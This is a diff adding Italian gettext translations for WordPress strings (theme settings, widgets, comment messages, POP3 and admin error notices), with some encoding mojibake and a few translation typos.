+msgid "You can use these tags: %s"
+msgstr "&Egrave; possibile usare i seguenti tag: %s"
+
+#: wp-content/themes/classic/comments.php:71
+msgid "Submit Comment"
+msgstr "Invia commento"
+
+#: wp-content/themes/classic/footer.php:12
+#, php-format
+msgid "Powered by <a href='http://wordpress.org/' title='%s'><strong>WordPress</strong></a>"
+msgstr "Funziona con <a href='http://wordpress.org' title='%s'><strong>WordPress</strong></a>"
+
+#: wp-content/themes/classic/index.php:15
+msgid "Filed under:"
+msgstr "Archiviato in: "
+
+#: wp-content/themes/classic/index.php:15
+#: wp-includes/category-template.php:802
+msgid "Tags: "
+msgstr "Tag:"
+
+#: wp-content/themes/classic/index.php:18
+#: wp-includes/post-template.php:186
+msgid "(more...)"
+msgstr "(continua...)"
+
+#: wp-content/themes/classic/index.php:23
+msgid "Comments (0)"
+msgstr "Commenti (0)"
+
+#: wp-content/themes/classic/index.php:23
+msgid "Comments (1)"
+msgstr "Commenti (1)"
+
+#: wp-content/themes/classic/index.php:23
+msgid "Comments (%)"
+msgstr "Commenti (%)"
+
+#: wp-content/themes/classic/index.php:31
+msgid "Sorry, no posts matched your criteria."
+msgstr "Nessun articolo risponde ai criteri di ricerca impostati."
+
+#: wp-content/themes/classic/index.php:34
+msgid "&laquo; Newer Posts"
+msgstr "&laquo; Articoli successivi"
+
+#: wp-content/themes/classic/index.php:34
+msgid "Older Posts &raquo;"
+msgstr "Articoli precedenti &raquo;"
+
+#: wp-content/themes/classic/sidebar.php:13
+#: wp-includes/post-template.php:563
+msgid "Pages:"
+msgstr "Pagine:"
+
+#: wp-content/themes/classic/sidebar.php:15
+msgid "Categories:"
+msgstr "Categorie:"
+
+#: wp-content/themes/classic/sidebar.php:17
+msgid "Search:"
+msgstr "Cerca:"
+
+#: wp-content/themes/classic/sidebar.php:25
+msgid "Archives:"
+msgstr "Archivi:"
+
+#: wp-content/themes/classic/sidebar.php:30
+msgid "Meta:"
+msgstr "Meta:"
+
+#: wp-content/themes/classic/sidebar.php:34
+msgid "Syndicate this site using RSS"
+msgstr "Abbonati a questo sito usando RSS"
+
+#: wp-content/themes/classic/sidebar.php:34
+msgid "<abbr title=\"Really Simple Syndication\">RSS</abbr>"
+msgstr "<abbr title=\"Really Simple Syndication\">RSS</abbr>"
+
+#: wp-content/themes/classic/sidebar.php:35
+#: wp-includes/default-widgets.php:299
+msgid "The latest comments to all posts in RSS"
+msgstr "Gli ultimi commenti di tutti gli articoli in formato RSS"
+
+#: wp-content/themes/classic/sidebar.php:35
+#: wp-includes/default-widgets.php:299
+msgid "Comments <abbr title=\"Really Simple Syndication\">RSS</abbr>"
+msgstr "<abbr title=\"Really Simple Syndication\">RSS</abbr> dei commenti"
+
+#: wp-content/themes/classic/sidebar.php:36
+msgid "This page validates as XHTML 1.0 Transitional"
+msgstr "Il codice di questa pagina Ãš XHTML 1.0 Transitional valido"
+
+#: wp-content/themes/classic/sidebar.php:36
+msgid "Valid <abbr title=\"eXtensible HyperText Markup Language\">XHTML</abbr>"
+msgstr "<abbr title=\"eXtensible HyperText Markup Language\">XHTML</abbr> valido"
+
+#: wp-content/themes/default/functions.php:169
+msgid "Close Color Picker"
+msgstr "Chiudi selezione colore"
+
+#: wp-content/themes/default/functions.php:369
+msgid "Customize Header"
+msgstr "Testata personalizata"
+
+#: wp-content/themes/default/functions.php:384
+msgid "Font Color:"
+msgstr "Colore Carattere"
+
+#: wp-content/themes/default/functions.php:384
+#, php-format
+msgid "Any CSS color (%s or %s or %s)"
+msgstr "Qualsiasi colore CSS  (%s o %s o %s)"
+
+#: wp-content/themes/default/functions.php:385
+msgid "Upper Color:"
+msgstr "Colore superiore:"
+
+#: wp-content/themes/default/functions.php:385
+#: wp-content/themes/default/functions.php:386
+#, php-format
+msgid "HEX only (%s or %s)"
+msgstr "Solo HEX only (%s o %s)"
+
+#: wp-content/themes/default/functions.php:386
+msgid "Lower Color:"
+msgstr "Colore inferiore:"
+
+#: wp-content/themes/default/functions.php:388
+msgid "Toggle Text"
+msgstr "Attiva/disattiva testo"
+
+#: wp-content/themes/default/functions.php:389
+msgid "Use Defaults"
+msgstr "Utilizza i valori predefiniti"
+
+#: wp-content/themes/default/functions.php:398
+msgid "Font Color"
+msgstr "Colore carattere"
+
+#: wp-content/themes/default/functions.php:399
+msgid "Upper Color"
+msgstr "Colore superiore"
+
+#: wp-content/themes/default/functions.php:400
+msgid "Lower Color"
+msgstr "Colore inferiore"
+
+#: wp-content/themes/default/functions.php:401
+msgid "Revert"
+msgstr "Inverti"
+
+#: wp-content/themes/default/functions.php:409
+msgid "Update Header"
+msgstr "Aggiorna testata"
+
+#: wp-content/themes/default/functions.php:415
+msgid "Font Color (CSS):"
+msgstr "Colore Carattere (CSS):"
+
+#: wp-content/themes/default/functions.php:416
+msgid "Upper Color (HEX):"
+msgstr "Colore superiore (HEX):"
+
+#: wp-content/themes/default/functions.php:417
+msgid "Lower Color (HEX):"
+msgstr "Colore inferiore (HEX):"
+
+#: wp-content/themes/default/functions.php:418
+msgid "Select Default Colors"
+msgstr "Seleziona il colore predefinito"
+
+#: wp-content/themes/default/functions.php:419
+msgid "Toggle Text Display"
+msgstr "Attiva/disattiva visualizzazione testo"
+
+#: wp-includes/atomlib.php:133
+#, php-format
+msgid "XML error: %s at line %d"
+msgstr "XML error: %s at line %d"
+
+#: wp-includes/author-template.php:135
+#, php-format
+msgid "Visit %s&#8217;s website"
+msgstr "Visitare il sito web di %s"
+
+#: wp-includes/author-template.php:184
+#: wp-includes/author-template.php:295
+#, php-format
+msgid "Posts by %s"
+msgstr "Articoli scritti da: %s"
+
+#: wp-includes/bookmark-template.php:82
+#, php-format
+msgid "Last updated: %s"
+msgstr "Ultimo aggiornamento: %s"
+
+#: wp-includes/bookmark-template.php:204
+msgid "Bookmarks"
+msgstr "Link"
+
+#: wp-includes/category-template.php:71
+#: wp-includes/category-template.php:193
+#: wp-includes/category-template.php:196
+#: wp-includes/category-template.php:203
+#: wp-includes/category-template.php:216
+#: wp-includes/category-template.php:219
+#: wp-includes/category-template.php:226
+#, php-format
+msgid "View all posts in %s"
+msgstr "Visualizza tutti gli articoli in %s"
+
+#: wp-includes/category-template.php:459
+#: wp-includes/category-template.php:461
+msgid "No categories"
+msgstr "Nessuna categoria"
+
+#: wp-includes/category-template.php:563
+#, php-format
+msgid "%s topic"
+msgid_plural "%s topics"
+msgstr[0] "%s argomento"
+msgstr[1] "%s argomenti"
+
+#: wp-includes/class-pop3.php:83
+msgid "No server specified"
+msgstr "Non Ãš stato specificato alcun server"
+
+#: wp-includes/class-pop3.php:91
+#: wp-includes/class-pop3.php:103
+#: wp-includes/class-pop3.php:124
+#: wp-includes/class-pop3.php:247
+#: wp-includes/class-pop3.php:301
+#: wp-includes/class-pop3.php:312
+#: wp-includes/class-pop3.php:360
+#: wp-includes/class-pop3.php:394
+#: wp-includes/class-pop3.php:427
+#: wp-includes/class-pop3.php:526
+#: wp-includes/class-pop3.php:549
+msgid "Error "
+msgstr "Errore "
+
+#: wp-includes/class-pop3.php:116
+msgid "no login ID submitted"
+msgstr "non Ãš stato fornito alcun ID di login"
+
+#: wp-includes/class-pop3.php:119
+#: wp-includes/class-pop3.php:139
+msgid "connection not established"
+msgstr "connessione non stabilita"
+
+#: wp-includes/class-pop3.php:136
+#: wp-includes/class-pop3.php:172
+msgid "No password submitted"
+msgstr "Non Ãš stata fornita alcuna password"
+
+#: wp-includes/class-pop3.php:144
+msgid "Authentication failed"
+msgstr "Autenticazione fallita "
+
+#: wp-includes/class-pop3.php:163
+#: wp-includes/class-pop3.php:206
+#: wp-includes/class-pop3.php:231
+#: wp-includes/class-pop3.php:273
+#: wp-includes/class-pop3.php:347
+#: wp-includes/class-pop3.php:387
+#: wp-includes/class-pop3.php:417
+#: wp-includes/class-pop3.php:451
+#: wp-includes/class-pop3.php:514
+#: wp-includes/class-pop3.php:582
+msgid "No connection to server"
+msgstr "Nessuna connessione al server"
+
+#: wp-includes/class-pop3.php:169
+msgid "No login ID submitted"
+msgstr "Non Ãš stato fornito alcun ID di login"
+
+#: wp-includes/class-pop3.php:177
+msgid "No server banner"
+msgstr "No server banner"
+
+#: wp-includes/class-pop3.php:177
+#: wp-includes/class-pop3.php:187
+msgid "abort"
+msgstr "interrompi"
+
+#: wp-includes/class-pop3.php:187
+msgid "apop authentication failed"
+msgstr "autenticazione apop fallita"
+
+#: wp-includes/class-pop3.php:324
+msgid "Premature end of list"
+msgstr "Termine lista anticipato"
+
+#: wp-includes/class-pop3.php:457
+msgid "Empty command string"
+msgstr "Stringa di comando vuota"
+
+#: wp-includes/class-pop3.php:477
+msgid "connection does not exist"
+msgstr "la connessione non esiste"
+
+#: wp-includes/class-pop3.php:587
+msgid "No msg number submitted"
+msgstr "Non Ãš stato fornito un numero di messaggio"
+
+#: wp-includes/class-pop3.php:593
+msgid "Command failed "
+msgstr "Comando fallito "
+
+#: wp-includes/classes.php:1332
+#, php-format
+msgid "View all posts filed under %s"
+msgstr "Visualizza tutti gli articoli archiviati in %s"
+
+#: wp-includes/classes.php:1347
+#, php-format
+msgid "Feed for all posts filed under %s"
+msgstr "Feed per tutti gli articoli archiviati in %s"
+
+#: wp-includes/comment-template.php:917
+msgid "Comments Off"
+msgstr "Commenti disabilitati"
+
+#: wp-includes/comment-template.php:927
+msgid "Enter your password to view comments"
+msgstr "Inserire la propria password per visualizzare i commenti"
+
+#: wp-includes/comment-template.php:954
+#, php-format
+msgid "Comment on %s"
+msgstr "Commenti a %s"
+
+#: wp-includes/comment-template.php:980
+msgid "Log in to Reply"
+msgstr "Fare il login per replicare"
+
+#: wp-includes/comment-template.php:1038
+msgid "Leave a Comment"
+msgstr "Lascia un commento"
+
+#: wp-includes/comment-template.php:1039
+msgid "Log in to leave a Comment"
+msgstr "Effettuare il login per lasciare un commento"
+
+#: wp-includes/comment-template.php:1078
+msgid "Click here to cancel reply."
+msgstr "Fare clic per cancellare la replica."
+
+#: wp-includes/comment-template.php:1121
+msgid "Leave a Reply"
+msgstr "Lascia un Commento"
+
+#: wp-includes/comment-template.php:1122
+#, php-format
+msgid "Leave a Reply to %s"
+msgstr "Replica al commento si %s"
+
+#: wp-includes/comment-template.php:1240
+#, php-format
+msgid "<cite class=\"fn\">%s</cite> <span class=\"says\">says:</span>"
+msgstr "<cite class=\"fn\">%s</cite> <span class=\"says\">scrive:</span>"
+
+#: wp-includes/comment-template.php:1243
+msgid "Your comment is awaiting moderation."
+msgstr "Il tuo commento Ãš in attesa di moderazione"
+
+#: wp-includes/comment-template.php:1247
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s alle %2$s"
+
+#: wp-includes/comment-template.php:1247
+msgid "(Edit)"
+msgstr "(Modifica)"
+
+#: wp-includes/comment.php:256
+msgid "Unapproved"
+msgstr "Non approvato"
+
+#: wp-includes/comment.php:415
+#: wp-includes/comment.php:417
+msgid "Duplicate comment detected; it looks as though you&#8217;ve already said that!"
+msgstr "Identificato un commento duplicato; sembra che tu abbia giÃ  scritto questo commento!"
+
+#: wp-includes/comment.php:474
+#: wp-includes/comment.php:476
+msgid "You are posting comments too quickly.  Slow down."
+msgstr "Stai inviando commenti troppo rapidamente. Rallenta."
+
+#: wp-includes/comment.php:1056
+msgid "Could not update comment status"
+msgstr "Impossibile aggiornare lo stato del commento"
+
+#: wp-includes/cron.php:297
+msgid "Once Hourly"
+msgstr "Ogni ora"
+
+#: wp-includes/cron.php:298
+msgid "Twice Daily"
+msgstr "Due volte al giorno"
+
+#: wp-includes/cron.php:299
+msgid "Once Daily"
+msgstr "Ogni giorno"
+
+#: wp-includes/default-widgets.php:18
+msgid "Your blog&#8217;s WordPress Pages"
+msgstr "Le pagine di questo blog WordPress"
+
+#: wp-includes/default-widgets.php:69
+msgid "Sort by:"
+msgstr "Ordinato per:"
+
+#: wp-includes/default-widgets.php:71
+msgid "Page title"
+msgstr "Titolo della pagina"
+
+#: wp-includes/default-widgets.php:72
+msgid "Page order"
+msgstr "Ordine della pagina"
+
+#: wp-includes/default-widgets.php:73
+msgid "Page ID"
+msgstr "ID pagina"
+
+#: wp-includes/default-widgets.php:77
+msgid "Exclude:"
+msgstr "Escludi:"
+
+#: wp-includes/default-widgets.php:79
+msgid "Page IDs, separated by commas."
+msgstr "ID pagina, separati da virgole."
+
+#: wp-includes/default-widgets.php:94
+msgid "Your blogroll"
+msgstr "Il blogroll"
+
+#: wp-includes/default-widgets.php:109
+#: wp-includes/default-widgets.php:144
+msgid "All Links"
+msgstr "Tutti i link"
+
+#: wp-includes/default-widgets.php:142
+msgid "Select Link Category"
+msgstr "Selezionare categoria link"
+
+#: wp-includes/default-widgets.php:155
+msgid "Show Link Image"
+msgstr "Mostra immagine link"
+
+#: wp-includes/default-widgets.php:157
+msgid "Show Link Name"
+msgstr "Mostra nome link"
+
+#: wp-includes/default-widgets.php:159
+msgid "Show Link Description"
+msgstr "Mostra descrizione link"
+
+#: wp-includes/default-widgets.php:161
+msgid "Show Link Rating"
+msgstr "Mostra valutazione link"
+
+#: wp-includes/default-widgets.php:175
+msgid "A search form for your blog"
+msgstr "Un modulo di ricerca per questo blog"
+
+#: wp-includes/default-widgets.php:218
+msgid "A monthly archive of your blog&#8217;s posts"
+msgstr "Un archivio mensile degli articoli di questo blog"
+
+#: wp-includes/default-widgets.php:234
+msgid "Select Month"
+msgstr "Seleziona mese"
+
+#: wp-includes/default-widgets.php:265
+#: wp-includes/default-widgets.php:497
+msgid "Show post counts"
+msgstr "Mostra conteggio articoli"
+
+#: wp-includes/default-widgets.php:267
+msgid "Display as a drop down"
+msgstr "Visualizza come menu a discesa"
+
+#: wp-includes/default-widgets.php:283
+msgid "Log in/out, admin, feed and WordPress links"
+msgstr "Link per il log in/out, l&#8217;amministrazione, i feed e WordPress"
+
+#: wp-includes/default-widgets.php:284
+#: wp-includes/default-widgets.php:289
+msgid "Meta"
+msgstr "Meta"
+
+#: wp-includes/default-widgets.php:298
+msgid "Syndicate this site using RSS 2.0"
+msgstr "Abbonati a questo sito usando RSS 2.0"
+
+#: wp-includes/default-widgets.php:298
+msgid "Entries <abbr title=\"Really Simple Syndication\">RSS</abbr>"
+msgstr "Voce <abbr title=\"Really Simple Syndication\">RSS</abbr>"
+
+#: wp-includes/default-widgets.php:331
+msgid "A calendar of your blog&#8217;s posts"
+msgstr "Un archivio mensile degli articoli di questo blog"
+
+#: wp-includes/default-widgets.php:332
+#: wp-includes/general-template.php:1026
+msgid "Calendar"
+msgstr "Calendario"
+
+#: wp-includes/default-widgets.php:372
+msgid "Arbitrary text or HTML"
+msgstr "Testo o HTML libero"
+
+#: wp-includes/default-widgets.php:374
+msgid "Text"
+msgstr "Testo"
+
+#: wp-includes/default-widgets.php:409
+msgid "Automatically add paragraphs."
+msgstr "Aggiungi automanticamente paragrafi"
+
+#: wp-includes/default-widgets.php:422
+msgid "A list or dropdown of categories"
+msgstr "Una lista o casella a discesa delle categorie"
+
+#: wp-includes/default-widgets.php:441
+msgid "Select Category"
+msgstr "Seleziona una categoria"
+
+#: wp-includes/default-widgets.php:494
+msgid "Show as dropdown"
+msgstr "Visualizza come menu a discesa"
+
+#: wp-includes/default-widgets.php:500
+msgid "Show hierarchy"
+msgstr "Visualizza la gerarchia"
+
+#: wp-includes/default-widgets.php:514
+msgid "The most recent posts on your blog"
+msgstr "Gli articoli piÃ¹ recenti di questo blog"
+
+#: wp-includes/default-widgets.php:515
+#: wp-includes/default-widgets.php:537
+msgid "Recent Posts"
+msgstr "Articoli recenti"
+
+#: wp-includes/default-widgets.php:589
+msgid "Number of posts to show:"
+msgstr "Numero di articoli da visualizzare:"
+
+#: wp-includes/default-widgets.php:591
+#: wp-includes/default-widgets.php:675
+msgid "(at most 15)"
+msgstr "(al massimo 15)"
+
+#: wp-includes/default-widgets.php:604
+msgid "The most recent comments"
+msgstr "I commenti piÃ¹ recenti"
+
+#. translators: comments widget: 1: comment author, 2: post link
+#: wp-includes/default-widgets.php:647
+#, php-format
+msgctxt "widgets"
+msgid "%1$s on %2$s"
+msgstr "%1$s su %2$s"
+
+#: wp-includes/default-widgets.php:673
+msgid "Number of comments to show:"
+msgstr "Numero di commenti da visualizzare:"
+
+#: wp-includes/default-widgets.php:688
+msgid "Entries from any RSS or Atom feed"
+msgstr "Voci da qualsiasi feed RSS o Atom"
+
+#: wp-includes/default-widgets.php:728
+msgid "Syndicate this content"
+msgstr "Abbonati a questo contenuto"
+
+#: wp-includes/default-widgets.php:789
+msgid "An error has occurred; the feed is probably down. Try again later."
+msgstr "Si Ãš verificato un errore; probabilmente il feed non Ãš attivo. Riprovare piÃ¹ tardi.</li>"
+
+#: wp-includes/default-widgets.php:801
+msgid "Untitled"
+msgstr "Senza titolo"
+
+#: wp-includes/default-widgets.php:875
+#, php-format
+msgid "RSS Error: %s"
+msgstr "Errore RSS %s"
+
+#: wp-includes/default-widgets.php:879
+msgid "Enter the RSS feed URL here:"
+msgstr "Inserire l&#8217;URL del feed RSS:"
+
+#: wp-includes/default-widgets.php:882
+msgid "Give the feed a title (optional):"
+msgstr "Dare un titolo al feed RSS (opzionale):"
+
+#: wp-includes/default-widgets.php:885
+msgid "How many items would you like to display?"
+msgstr "Quanti articoli visualizzare?"
+
+#: wp-includes/default-widgets.php:894
+msgid "Display item content?"
+msgstr "Visualizza il contenuto delle voci?"
+
+#: wp-includes/default-widgets.php:897
+msgid "Display item author if available?"
+msgstr "Visualizza autore delle voci se disponibile?"
+
+#: wp-includes/default-widgets.php:900
+msgid "Display item date?"
+msgstr "Visualizza data delle voci?"
+
+#: wp-includes/default-widgets.php:963
+msgid "Your most used tags in cloud format"
+msgstr "I tag maggiormente utilizzati in formato nuvola"
+
+#: wp-includes/default-widgets.php:964
+msgid "Tag Cloud"
+msgstr "Tag Cloud"
+
+#: wp-includes/deprecated.php:126
+msgid "new WordPress Loop"
+msgstr "nuovo WordPress Loop"
+
+#: wp-includes/deprecated.php:1015
+msgid "Last updated"
+msgstr "Ultimo aggiornamento"
+
+#: wp-includes/feed-atom-comments.php:19
+#: wp-includes/feed-rss2-comments.php:22
+#, php-format
+msgid "Comments on: %s"
+msgstr "Commenti a: %s"
+
+#: wp-includes/feed-atom-comments.php:21
+#, php-format
+msgid "Comments for %1$s searching on %2$s"
+msgstr "Commenti per %1$s ricercati in %2$s"
+
+#: wp-includes/feed-atom-comments.php:23
+#: wp-includes/feed-rss2-comments.php:26
+#, php-format
+msgid "Comments for %s"
+msgstr "Commenti per %s"
+
+#: wp-includes/feed-atom-comments.php:54
+#: wp-includes/feed-rss2-comments.php:46
+#, php-format
+msgid "Comment on %1$s by %2$s"
+msgstr "Commenti su %1$s di %2$s"
+
+#: wp-includes/feed-atom-comments.php:56
+#: wp-includes/feed-rss2-comments.php:48
+#, php-format
+msgid "By: %s"
+msgstr "Di: %s"
+
+#: wp-includes/feed-rss2-comments.php:24
+#, php-format
+msgid "Comments for %s searching on %s"
+msgstr "Commenti per %s searching on %s"
+
+#: wp-includes/feed-rss2-comments.php:56
+msgid "Protected Comments: Please enter your password to view comments."
+msgstr "Commenti protetti: inserire la propria password per visualizzare i commenti."
+
+#. translators: opening curly quote
+#: wp-includes/formatting.php:37
+msgctxt "opening curly quote"
+msgid "&#8220;"
+msgstr "&#8220;"
+
+#. translators: closing curly quote
+#: wp-includes/formatting.php:39
+msgctxt "closing curly quote"
+msgid "&#8221;"
+msgstr "&#8221;"
+
+#: wp-includes/formatting.php:1661
+#, php-format
+msgid "%s min"
+msgid_plural "%s mins"
+msgstr[0] "%s minuto"
+msgstr[1] "%s minuti"
+
+#: wp-includes/formatting.php:1667
+#, php-format
+msgid "%s hour"
+msgid_plural "%s hours"
+msgstr[0] "%s ora"
+msgstr[1] "%s ore"
+
+#: wp-includes/formatting.php:1673
+#, php-format
+msgid "%s day"
+msgid_plural "%s days"
+msgstr[0] "%s giorno"
+msgstr[1] "%s giorni"
+
+#. translators: used between list items, there is a space after the coma
+#: wp-includes/formatting.php:2547
+msgid ", "
+msgstr ", "
+
+#. translators: used between list items, there is a space after the and
+#: wp-includes/formatting.php:2549
+msgid ", and "
+msgstr " e "
+
+#. translators: used between only two list items, there is a space after the and
+#: wp-includes/formatting.php:2551
+msgid " and "
+msgstr " e "
+
+#: wp-includes/functions.php:385
+#, php-format
+msgid "%s is a protected WP option and may not be modified"
+msgstr "%s Ãš un opzione protetta di WP e non puÃ² essere modificata"
+
+#: wp-includes/functions.php:1665
+#, php-format
+msgid "ERROR: %s is not a valid feed template"
+msgstr "ERRORE: %s non Ãš un modello di feed valido"
+
+#: wp-includes/functions.php:2072
+#: wp-includes/functions.php:2169
+#, php-format
+msgid "Unable to create directory %s. Is its parent directory writable by the server?"
+msgstr "Impossibile creare la directory %s. Verifica che la directory madre sia scrivibile dal server!"
+
+#: wp-includes/functions.php:2154
+msgid "Empty filename"
+msgstr "Nome file vuoto"
+
+#: wp-includes/functions.php:2175
+#, php-format
+msgid "Could not write file %s"
+msgstr "Impossibile scrivere il file %s"
+
+#: wp-includes/functions.php:2323
+#, php-format
+msgid "Your attempt to edit this attachment: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modificare questo allegato: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2325
+msgid "Your attempt to add this category has failed."
+msgstr "Il tentativo di aggiungere questa categoria: &quot;%s&quot; Ãš fallito."
+
+#: wp-includes/functions.php:2326
+#, php-format
+msgid "Your attempt to delete this category: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di cancellare questa categoria: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2327
+#, php-format
+msgid "Your attempt to edit this category: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modificare questa categoria: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2329
+#, php-format
+msgid "Your attempt to delete this comment: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di cancellare questo commento: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2330
+#, php-format
+msgid "Your attempt to unapprove this comment: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di non approvare questo commento: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2331
+#, php-format
+msgid "Your attempt to approve this comment: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di approvare questo commento: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2332
+#, php-format
+msgid "Your attempt to edit this comment: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modificare questo commento: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2333
+msgid "Your attempt to bulk modify comments has failed."
+msgstr "Il tentativo di modifica di massa dei commenti Ãš fallito."
+
+#: wp-includes/functions.php:2334
+msgid "Your attempt to moderate comments has failed."
+msgstr "Il tentativo di moderare i commenti Ãš fallito."
+
+#: wp-includes/functions.php:2336
+msgid "Your attempt to add this link has failed."
+msgstr "Il tentativo di modificare di aggiungere questo link Ãš fallito"
+
+#: wp-includes/functions.php:2337
+#, php-format
+msgid "Your attempt to delete this link: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di cancellare questo link: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2338
+#, php-format
+msgid "Your attempt to edit this link: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modificare questo link: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2339
+msgid "Your attempt to bulk modify links has failed."
+msgstr "Il tentativo di modifica di amssa dei link Ãš fallito."
+
+#: wp-includes/functions.php:2341
+msgid "Your attempt to add this page has failed."
+msgstr "Il tentativo di modificare aggiungere questa pagina Ãš fallito."
+
+#: wp-includes/functions.php:2342
+#, php-format
+msgid "Your attempt to delete this page: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di cancellare questa pagina: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2343
+#, php-format
+msgid "Your attempt to edit this page: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modificare questa pagina: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2345
+#, php-format
+msgid "Your attempt to edit this plugin file: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modificare questo plugin: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2346
+#, php-format
+msgid "Your attempt to activate this plugin: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di attivare questo plugin: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2347
+#, php-format
+msgid "Your attempt to deactivate this plugin: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di disattivare questo plugin: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2348
+#, php-format
+msgid "Your attempt to upgrade this plugin: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di attivare questo plugin: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2350
+msgid "Your attempt to add this post has failed."
+msgstr "Il tentativo di aggiungere questo articolo Ãš fallito."
+
+#: wp-includes/functions.php:2351
+#, php-format
+msgid "Your attempt to delete this post: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di cancellare questo articolo: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2352
+#, php-format
+msgid "Your attempt to edit this post: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modifcare questo articolo: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2354
+msgid "Your attempt to add this user has failed."
+msgstr "Il tentativo di modificare  di aggiungere questo utente Ãš fallito."
+
+#: wp-includes/functions.php:2355
+msgid "Your attempt to delete users has failed."
+msgstr "Il tentativo di cancellare gli utenti Ãš fallito."
+
+#: wp-includes/functions.php:2356
+msgid "Your attempt to bulk modify users has failed."
+msgstr "Il tentativo di modifica di massa degli utenti Ãš fallito."
+
+#: wp-includes/functions.php:2357
+#, php-format
+msgid "Your attempt to edit this user: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modificare questo utente: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2358
+#, php-format
+msgid "Your attempt to modify the profile for: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modificare il profilo di: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2360
+msgid "Your attempt to edit your settings has failed."
+msgstr "Il tentativo di modificare le impostazione Ãš fallito."
+
+#: wp-includes/functions.php:2361
+#, php-format
+msgid "Your attempt to change your permalink structure to: %s has failed."
+msgstr "Il tentativo di modificare la struttura dei permalink in: %s Ãš fallito"
+
+#: wp-includes/functions.php:2362
+#, php-format
+msgid "Your attempt to edit this file: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modificare questo file: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2363
+#, php-format
+msgid "Your attempt to edit this theme file: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di modificare questo file di tema: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2364
+#, php-format
+msgid "Your attempt to switch to this theme: &#8220;%s&#8221; has failed."
+msgstr "Il tentativo di passare a questo tema: &#8220;%s&#8221; Ãš fallito."
+
+#: wp-includes/functions.php:2366
+#, php-format
+msgid "You are attempting to log out of %s"
+msgstr "Si sta tentando di scollegarsi da %s"
+
+#: wp-includes/functions.php:2386
+#: wp-includes/functions.php:2388
+msgid "Are you sure you want to do this?"
+msgstr "Si Ãš davvero sicuri di voler far questo?"
+
+#: wp-includes/functions.php:2405
+msgid "WordPress Failure Notice"
+msgstr "Avviso di errore WordPress"
+
+#: wp-includes/functions.php:2408
+msgid "Please try again."
+msgstr "Riprovare"
+
+#: wp-includes/functions.php:2410
+#, php-format
+msgid "Do you really want to <a href='%s'>log out</a>?"
+msgstr "Si desidera <a href='%s'>scollegarsi</a>?"
+
+#: wp-includes/functions.php:2461
+msgid "&laquo; Back"
+msgstr "&laquo; Indietro"
+
+#. #-#-#-#-#  wordpress.pot (PACKAGE VERSION)  #-#-#-#-#
+#. Not gettexted string WP_I18N_ERROR_TITLE
+#: wp-includes/functions.php:2482
+#: wp-load.php:50
+msgid "WordPress &rsaquo; Error"
+msgstr "WordPress &rsaquo; Errore"
+
+#: wp-includes/functions.php:2918
+#: wp-includes/functions.php:2955
+#, php-format
+msgid "%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead."
+msgstr "%1$s Ãš <strong>deprecata</strong> dalla versione %2$s! Utilizzare al suo posto %3$s."
+
+#: wp-includes/functions.php:2920
+#: wp-includes/functions.php:2957
+#, php-format
+msgid "%1$s is <strong>deprecated</strong> since version %2$s with no alternative available."
+msgstr "%1$s Ãš <strong>deprecata</strong> dalla versione %2$s senza alcuna alternativa disponibile."
+
+#: wp-includes/functions.php:3275
+msgid "Select a city"
+msgstr "Seleziona una cittÃ "
+
+#: wp-includes/functions.php:3290
+msgid "Manual offsets"
+msgstr "Offset manuale"
+
+#: wp-includes/general-template.php:125
+msgid "Search for:"
+msgstr "Cerca:"
+
+#: wp-includes/general-template.php:147
+#: wp-login.php:352
+#: wp-login.php:355
+#: wp-login.php:424
+msgid "Log in"
+msgstr "Collegati"
+
+#: wp-includes/general-template.php:149
+msgid "Log out"
+msgstr "Esci da questo account"
+
+#: wp-includes/general-template.php:236
+#: wp-login.php:353
+#: wp-login.php:420
+#: wp-login.php:524
+msgid "Register"
+msgstr "Registrati"
+
+#: wp-includes/general-template.php:240
+msgid "Site Admin"
+msgstr "Amministra sito"
+
+#. translators: 1: separator, 2: search phrase
+#: wp-includes/general-template.php:500
+#, php-format
